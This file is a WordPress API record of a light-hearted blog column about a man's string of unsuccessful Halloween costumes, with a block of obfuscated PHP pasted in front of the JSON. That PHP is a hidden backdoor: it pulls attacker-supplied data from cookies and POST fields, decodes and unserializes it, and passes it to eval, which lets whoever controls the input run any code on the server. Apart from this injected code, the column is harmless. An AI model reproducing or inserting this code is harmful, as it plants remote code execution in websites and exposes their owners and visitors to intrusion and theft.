$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":89,"date":"2005-10-30T11:28:17","date_gmt":"2005-10-30T17:28:17","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=89"},"modified":"2007-08-12T16:45:23","modified_gmt":"2007-08-12T22:45:23","slug":"brilliant-disguise","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=89","title":{"rendered":"Brilliant Disguise"},"content":{"rendered":"

I can\u2019t stand Halloween because I can never come up with a good costume.<\/p>\n

This isn\u2019t anything new. I have had this problem ever since I was a kid.<\/p>\n

I remember showing up to a school-sponsored Halloween event in fifth grade or so. I had come up with the bright idea of dressing as the Unknown Comic.<\/p>\n

My classmates and the people judging apparently weren\u2019t big fans of \u201cThe Gong Show.\u201d For years, I blamed my siblings for turning me onto that show. Now, I realize it was just the start of a string of disastrous decisions.<\/p>\n

There was my freshman year in college when I shoved a pillow up my shirt and went as Norm Peterson from \u201cCheers.\u201d I planned to just drink beer all night so it seemed appropriate. Nobody got the joke.<\/p>\n

The next year, I bought a surgical scrubs top with my fraternity\u2019s letters on it and dressed up as the house doctor. Nobody was amused.<\/p>\n

I don\u2019t even remember what I did the next two years. My fraternity had an incredible Halloween party so the standards were pretty high.<\/p>\n

The year I went as the doctor, a bunch of freshman showed up as the Fruit of the Loom guys. They didn\u2019t just put those fruit things on their heads, they wore t-shirts and boxers. And the made a huge pair of \u201cunderwear\u201d that they walked around inside of all until the shorts split.<\/p>\n

Now that\u2019s a Halloween costume.<\/p>\n

After graduating college, I really didn\u2019t have to worry about dressing up. I didn\u2019t know anyone who had a Halloween party so I could just ignore the whole thing as much as I could.<\/p>\n

Then I started my current job. Someone in my department organizes the Halloween potluck and makes a big deal out of getting people to dress up.<\/p>\n

The first year, I came as a soccer player. That was easy \u2013 I have shorts and some jerseys. But I had to expose my legs and that felt strange considering I had just started the job 10 days earlier.<\/p>\n

The second year, I came as a hunter. I ripped this idea off some guys in college who came as rednecks after buying hunting gear, toy guns and some red face paint, which they spread across their necks.<\/p>\n

That kind of thing goes over a lot better at a fraternity party than in the workplace, so I just got some hunting orange. This time, a few people laughed.<\/p>\n

Things got a little better last year when I went as a cowboy. I had bought an incredibly gaudy Western shirt for another event and pulled that out for the party. People liked it, but there was another cowboy.<\/p>\n

I want to be unique. I want to be the person with the costume everyone remembers.<\/p>\n

Hopefully, Daniel LaRusso from \u201cKarate Kid\u201d will make that happen. I just hope nobody comes dressed as Johnny Lawrence.<\/p>\n","protected":false},"excerpt":{"rendered":"

I can\u2019t stand Halloween. Not because people in Hanover have managed to turn the holiday into a week-long celebration. Not because I have to explain the unique trick-or-treat setup to all my non-Hanover friends. Not because my daughter gets all…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-89","post","type-post","status-publish","format-standard","hentry","category-columns","wpcat-3-id"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/89","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=89"}],"version-history":[{"count":0,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/89\/revisions"}],"wp:attachment":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=89"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=89"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=89"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}